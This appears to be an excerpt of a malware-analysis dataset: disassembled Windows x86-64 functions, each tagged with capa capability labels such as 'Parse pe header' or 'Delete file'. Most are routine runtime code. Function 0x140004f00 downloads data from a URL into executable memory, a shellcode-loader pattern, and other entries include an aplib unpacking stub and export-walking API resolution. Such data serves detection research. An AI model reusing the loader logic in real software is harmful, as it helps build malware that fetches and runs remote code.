joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140029a2c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d034
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d034
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029b7c
cmp rax, 0xffffffffffffffff
je 0x140029b7c
xor edi, edi
test rbp, rbp
jle 0x140029b27
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f948
mov rbx, rax
test rax, rax
jne 0x140029ab4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029b1d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a99c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001dd10
cmp eax, 0xffffffff
je 0x140029afd
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029ac4
mov edx, r15d
mov ecx, r14d
call fcn.14001a99c
jmp 0x140029b1d
cmp byte [rsi + 0x38], dil
je 0x140029b14
cmp dword [rsi + 0x34], 5
jne 0x140029b14
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029b1d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b700
jmp 0x140029b90
jns 0x140029b90
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d034
cmp rax, 0xffffffffffffffff
jne 0x140029b48
cmp byte [rsi + 0x30], dil
je 0x140029b90
mov edi, dword [rsi + 0x2c]
jmp 0x140029b90
mov ecx, r14d
call fcn.140018e54
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029b90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029b90
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029b89
mov eax, dword [rsi + 0x2c]
jmp 0x140029b8e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d034
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ac80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002aca8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002aca8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140002ba0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002bea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002bea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002bea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002bea
cmp dword [rcx + 0x84], 0xe
jbe 0x140002bea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002bec
xor al, al
add rsp, 0x28
ret
Function at 0x1405f1058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1405f11df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405f1089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405f106f
add dl, dl
jne 0x1405f1096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405f10f6
xor eax, eax
add dl, dl
jne 0x1405f10a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405f11ad
add dl, dl
jne 0x1405f10b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405f10c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405f10d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405f10dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405f10ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405f107e
mov eax, 1
add dl, dl
jne 0x1405f1106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405f1113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405f10fb
sub eax, ebx
mov ebx, 1
jne 0x1405f114c
mov ecx, 1
add dl, dl
jne 0x1405f112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405f113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405f1123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405f107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405f1168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405f1175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405f115d
cmp eax, 0x7d00
jae 0x1405f119b
cmp eax, 0x500
jb 0x1405f1196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405f107e
cmp eax, 0x7f
ja 0x1405f119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405f107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405f11d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405f107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x626a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x0019d5c4]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x627c0
mov rax, qword [0x0019d5c8]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x626ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x627a6
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x626d0
mov rcx, rsi
call fcn.000632e0
test rax, rax
mov r12, rax
je 0x627f8
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x0019d5c8]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.00063430
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
mov qword [r13 + 0x18], rax
mov rax, qword [0x0019d5c8]
lea rdx, [rsp + 0x20]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x627db
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6279f
sub eax, 0x40
and eax, 0xffffffbf
je 0x6279f
add rbx, qword [0x0019d5c8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x627c7
add dword [0x0019d5c4], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp 0x63670
xor ebx, ebx
jmp 0x626f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00062630
mov rax, qword [0x0019d5c8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.00062630
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00062630
nop
nop dword [rax + rax]
jmp qword [sym.imp.msvcrt.dll_memcpy]

Function at 0x62f50
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0019d8a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0019d880]
test rbx, rbx
je 0x62fa4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x62f9b
test rsi, rsi
je 0x62f9b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x62f80
lea rcx, [0x0019d8a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x632e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x0019a1b0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
je 0x63300
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.000631c0
test eax, eax
je 0x632f8
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6335d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x63354
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x632f8
add rdx, 0x28
cmp rdx, r9
jne 0x63340
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x140004f00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data

Disassembly:
push rdi
sub rsp, 0x90
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0xa0], rbx
mov rax, qword [0x1400150a8]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x38]
call fcn.140001f20
cmp qword [rax + 0x18], 0x10
jb 0x140004f40
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140017240], rax
cmp qword [rsp + 0x50], 0x10
jb 0x140004f62
mov rcx, qword [rsp + 0x38]
call fcn.140006850
lea rcx, [rsp + 0x60]
call fcn.140002580
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.140001760
nop
cmp qword [rbx + 0x18], 0x10
jb 0x140004f84
mov rbx, qword [rbx]
cmp qword [rax + 0x18], 0x10
jb 0x140004f8e
mov rax, qword [rax]
mov rdx, rax
mov rcx, qword [0x140017240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 1]
mov rcx, rbx
call rax
mov qword [0x140017238], rax
cmp qword [rsp + 0x50], 0x10
jb 0x140004fcb
mov rcx, qword [rsp + 0x38]
call fcn.140006850
mov qword [rsp + 0x50], 0xf
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x38], 0
cmp qword [rsp + 0x78], 0x10
jb 0x140004ff0
mov rcx, qword [rsp + 0x60]
call fcn.140006850
lea rcx, [rsp + 0x38]
call fcn.140002a00
cmp qword [rax + 0x18], 0x10
jb 0x140005004
mov rax, qword [rax]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [0x140017238]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [0x140017230], rax
cmp qword [rsp + 0x50], 0x10
jb 0x140005047
mov rcx, qword [rsp + 0x38]
call fcn.140006850
mov rax, qword [0x140017230]
mov qword [rsp + 0x50], 0xf
mov qword [rsp + 0x48], rdi
mov byte [rsp + 0x38], 0
mov dword [0x140017408], 4
mov qword [rsp + 0x20], rdi
lea r9, [0x140017408]
lea r8, [0x1400173fc]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [0x1400173fc]
call fcn.140006560
mov qword [0x140017228], rax
lea r9, [0x14001740c]
mov r8d, dword [0x1400173fc]
mov rdx, rax
mov rcx, qword [0x140017230]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [0x1400173fc]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140017220], rax
mov r8d, dword [0x1400173fc]
mov rdx, qword [0x140017228]
mov rcx, rax
call fcn.140006870
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140006690
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
Function at 0x140006f8f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400150a8]
jne 0x1400066aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400066a6
repz ret
ror rcx, 0x10
jmp 0x140006ee8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140016140]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140016238]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140006f6d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140016140]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140006f8f
mov rax, qword [rsp + 0x88]
mov qword [0x140016238], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400161d8], rax
mov rax, qword [0x140016238]
mov qword [0x1400160b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400161c0], rax
mov dword [0x1400160a0], 0xc0000409
mov dword [0x1400160a4], 1
mov rax, qword [0x1400150a8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400150b0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140016138], eax
mov ecx, 1
call fcn.140008c1c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000f510]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140016138], 0
jne 0x140007016
mov ecx, 1
call fcn.140008c1c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1400078e0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140007750
Function at 0x1400097a8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1400150a8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400087c4
xor ebx, ebx
cmp qword [0x1400171c0], rbx
mov rdi, rax
jne 0x1400098bb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140009992
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140009992
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400171c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400171c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400171d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1400171e0], rax
test rax, rax
je 0x1400098b2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1400171d8], rax
jmp 0x1400098c2
mov rax, qword [0x1400171d8]
jmp 0x1400098c9
mov rax, qword [0x1400171d8]
mov r11, qword [0x1400171e0]
cmp rax, rdi
je 0x140009930
cmp r11, rdi
je 0x140009930
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1400171e0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140009930
test rax, rax
je 0x140009930
call rsi
test rax, rax
je 0x14000992a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000992a
test byte [rsp + 0x40], 1
jne 0x140009930
bts ebp, 0x15
jmp 0x140009970
mov rcx, qword [0x1400171c8]
cmp rcx, rdi
je 0x140009970
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140009970
call rax
mov rbx, rax
test rax, rax
je 0x140009970
mov rcx, qword [0x1400171d0]
cmp rcx, rdi
je 0x140009970
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140009970
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400171c0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140009992
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140009994
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140006690
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov rsi, qword [rcx]
xor ebx, ebx
mov r11, rdx
mov eax, dword [rsi + 0x3c]
mov ecx, dword [rax + rsi + 0x88]
mov r14d, dword [rcx + rsi + 0x20]
mov r15d, dword [rcx + rsi + 0x24]
add r14, rsi
mov ebp, dword [rcx + rsi + 0x18]
add r15, rsi
test ebp, ebp
je 0x140001108
nop word [rax + rax]
mov r8d, dword [r14 + rbx*4]
xor ecx, ecx
add r8, rsi
xor eax, eax
nop dword [rax + rax]
cmp byte [rax + r8], 0
je 0x140001076
inc ecx
inc rax
cmp rax, 0xff
jl 0x140001060
xor ecx, ecx
xor edx, edx
xor eax, eax
nop word [rax + rax]
cmp byte [rax + r11], 0
je 0x1400010af
inc edx
inc rax
cmp rax, 0xff
jl 0x140001080
xor eax, eax
xor ecx, ecx
cmp byte [rcx + r11], 0
je 0x1400010ce
inc eax
inc rcx
cmp rcx, 0xff
jl 0x140001098
jmp 0x1400010fe
cmp ecx, edx
jae 0x140001094
xor eax, eax
xor ecx, ecx
cmp byte [rcx + r8], 0
je 0x1400010ce
inc eax
inc rcx
cmp rcx, 0xff
jl 0x1400010b7
xor eax, eax
test eax, eax
je 0x1400010fe
movsxd r10, eax
jle 0x1400010fe
mov r9, r11
sub r8, r11
nop dword [rax]
movzx ecx, byte [r9 + r8]
lea edx, [rax - 1]
cmp cl, byte [r9]
lea r9, [r9 + 1]
cmovne edx, eax
mov eax, edx
sub r10, 1
jne 0x1400010e0
test edx, edx
je 0x140001123
inc ebx
cmp ebx, ebp
jb 0x140001050
xor eax, eax
mov rbx, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
pop r15
pop r14
ret
movzx eax, word [r15 + rbx*2]
jmp 0x14000110a
Function at 0x140003414
Capabilities:
Check if file exists
Get common file path
Get file attributes
Set current directory

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
lea rbp, [rax - 0x3b8]
sub rsp, 0x4a0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x1400315a0]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov rdi, rdx
mov rbx, rcx
cmp qword [rdx + 0x18], 8
jb 0x140003458
mov rcx, qword [rdx]
jmp 0x14000345b
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003591
test al, 0x10
jne 0x140003591
xor esi, esi
mov qword [rsp + 0x20], rsi
cmp qword [rdi + 0x18], 8
jb 0x140003483
mov rdi, qword [rdi]
lea r9, [rsp + 0x20]
lea r8, [rbp + 0x180]
mov edx, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov edi, 7
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
cmp word [rbp + 0x180], si
jne 0x1400034bf
mov r9, rsi
jmp 0x1400034d4
lea rax, [rbp + 0x180]
or r9, 0xffffffffffffffff
inc r9
cmp word [rax + r9*2], si
jne 0x1400034ca
mov r8, r9
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x50]
call fcn.1400057c4
nop
mov rax, qword [rsp + 0x20]
mov word [rax], si
lea rdx, [rsp + 0x70]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
nop
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.1400036c0
test al, al
jne 0x140003539
mov bl, sil
jmp 0x14000354e
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140002afc
mov bl, al
cmp qword [rsp + 0x48], 8
jb 0x140003560
mov rcx, qword [rsp + 0x30]
call fcn.14000afb0
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
nop
cmp qword [rsp + 0x68], 8
jb 0x14000358d
mov rcx, qword [rsp + 0x50]
call fcn.14000afb0
mov al, bl
jmp 0x1400035ca
add rbx, 0x18
xor r8d, r8d
lea rdx, [0x14002acd4]
mov rcx, rbx
call fcn.1400057c4
lea rdx, str.File_not_found:
mov rcx, rbx
call fcn.140006ed0
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call fcn.14000770c
xor al, al
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.14000ada0
mov rbx, qword [rsp + 0x4d0]
add rsp, 0x4a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005084
Capabilities:
Check if file exists
Create process on windows
Get common file path

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x868
mov rax, qword [0x1400315a0]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbx, qword [rsp + 0x8d0]
mov rbp, r8
mov rdi, rcx
mov rsi, rdx
mov r15d, 0x104
lea r8, str.BsSndRpt64.exe
lea rcx, [rsp + 0x50]
mov edx, r15d
mov r14, r9
call fcn.14000bd3c
lea r12, [0x140034c80]
mov ecx, r15d
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, str.BsSndRpt.ini
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
xor r15d, r15d
test eax, eax
je 0x140005113
mov rcx, r12
call fcn.14000be6c
mov r13d, 0x400
lea r8, str._i__
lea rcx, [rsp + 0x50]
mov edx, r13d
call fcn.14000bda8
lea rcx, [rsp + 0x50]
mov r8, r12
mov edx, r13d
call fcn.14000bda8
lea r8, [0x14002b46c]
lea rcx, [rsp + 0x50]
mov edx, r13d
call fcn.14000bda8
mov r8, rsi
lea rsi, str.BugSplat
lea rdx, str.Vendor
mov r9, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea rdx, str.Application
mov r9, r12
mov r8, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea rdx, str.Version
mov r9, r12
mov r8, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea rdx, str.MiniDump
mov r9, r12
mov r8, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], r15w
jne 0x1400051b4
test rax, rax
je 0x1400051d9
lea rdx, str.Description
mov r9, r12
mov r8, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
cmp byte [rsp + 0x8d8], r15b
je 0x1400051f7
lea r8, [0x14002b4e0]
lea rcx, [rsp + 0x50]
mov rdx, r13
call fcn.14000bda8
lea rdi, [0x140034e90]
mov ebx, 0x68
xor edx, edx
mov rcx, rdi
mov r8d, ebx
call fcn.14000dc20
xor eax, eax
lea rdx, [rsp + 0x50]
mov qword [0x140034ef8], rax
mov qword [0x140034f00], rax
mov qword [0x140034f08], rax
lea rax, [0x140034ef8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov dword [0x140034e90], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.14000ada0
add rsp, 0x868
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14000be3c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000be52
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000be54
xor eax, eax
test eax, eax
je 0x14000be64
mov ecx, eax
call fcn.14000dab8
or eax, 0xffffffff
jmp 0x14000be66
xor eax, eax
add rsp, 0x28
ret
jmp 0x14000be3c
Function at 0x14000be6c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000be52
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000be54
xor eax, eax
test eax, eax
je 0x14000be64
mov ecx, eax
call fcn.14000dab8
or eax, 0xffffffff
jmp 0x14000be66
xor eax, eax
add rsp, 0x28
ret
jmp 0x14000be3c